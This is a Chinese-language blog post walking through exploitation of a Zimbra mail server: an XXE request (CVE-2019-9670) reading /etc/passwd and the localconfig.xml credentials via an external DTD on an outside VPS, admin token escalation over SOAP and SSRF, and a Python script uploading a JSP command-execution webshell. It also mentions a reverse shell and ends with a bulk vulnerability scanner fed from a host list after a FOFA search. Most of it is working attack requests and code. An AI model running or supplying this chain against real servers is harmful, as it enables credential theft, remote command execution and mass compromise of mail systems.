zimbra-RCE漏洞利用

前言

zimbra-RCE漏洞复现

正文

搭建zimbra环境,参考:https://www.jianshu.com/p/722bc70ff426

image-20201120003833032

image-20201120004042122

CVE-2019-9670

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.199.220:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 346

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>

image-20201120010134521

因为Zimbra的配置文件是在 /conf/localconfig.xml 里面,其中保存了一些配置信息的用户名和密码。

所以我们要读取该文件的内容,但是由于xml文件会在解析器中被解析,无法以文本形式,通过XXE漏洞被读出。所以我们需要加上<![CDATA[]]>。这样才能将该配置文件以文本读出。同时内部实体中无法使用拼接上这个<![CDATA[]]>。这时候就要用上外部DTD

在VPS上托管一个DTD文件

1
2
3
4
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

image-20201120012116691

然后重放攻击执行如下:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://39.96.34.231/c0okb.dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>

image-20201120012041499

image-20201120013111966

利用已经得到的密码获取低权限的token

1
2
3
POST:  /service/admin/soap

Ps: 修改Content-Type: application/xml

XML的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /service/admin/soap HTTP/1.1
Host: 192.168.199.220:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 464

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>ITMP4rszs</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>

image-20201120015608066

此时获得一个低权限token

接下来要去获取一个高权限的token

我直接修改xmlns中的zimbraAccountzimbraAdmin,然后获取到ZM_ADMIN_AUTH_TOKEN

image-20201120104745669

其实挺迷的,官方的方法是利用SSRF漏洞通过proxy接口,访问admin的soap接口获取高权限Token

1
2
3
4
5
Post: /service/proxy?target=https://1270.0.1:7071/service/admin/soap
Ps:
(1)HOST:后面加端口7071
(2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为获取到的低权限token
(3)发送获取普通权限token的body内容,但是将AuthRequest的xmlns改为: urn:zimbraAdmin

然后使用高权限Token通过脚本访问,上传shell

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

file= {
'filename1':(None,"whocare",None),
'clientFile':("ss.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_bfb8ff8e683758cbc2accc0803b318c1d09b32d1_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313630353838323832363732383b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3934383437373031313b",
"Host":"foo:7071"
}
r=requests.post("https://192.168.199.220:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)
print(r.text)

最后访问https://192.168.100.220:7071/downloads/ss.jsp

访问时cookie中带上高权限token,getshell成功

image-20201120105114376

接着反弹shell,将冰蝎马通过脚本上传到服务器中,访问该冰蝎马

image-20201120212404366

反弹shell成功

image-20201120212503589

fofa中搜索一下

image-20201126230741459

附上自己写的漏洞检测工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

def zimbraCheck(url):
url1 = url
url = "https://"+url + ":7071/Autodiscover/Autodiscover.xml"
headers ={
"Content-Type":"application/xml",
"Cookie":"ZM_TEST=true"
}

xml = '''
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
'''
r = requests.post(url=url,headers=headers,data=xml.encode('utf-8'),verify=False)
if "Error 503 Requested response" in r.text:
print("THis Is fIne----------------------------------------: "+url1+"\n")

else:
print(url1+'no')

if __name__ == "__main__":
with open('test1.txt','r') as f:
lines = f.readlines()
for i in lines:
i = i.strip('\n')
zimbraCheck(i)
Author: 我是小吴啦
Link: http://yoursite.com/2020/11/10/zimbra-RCE%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.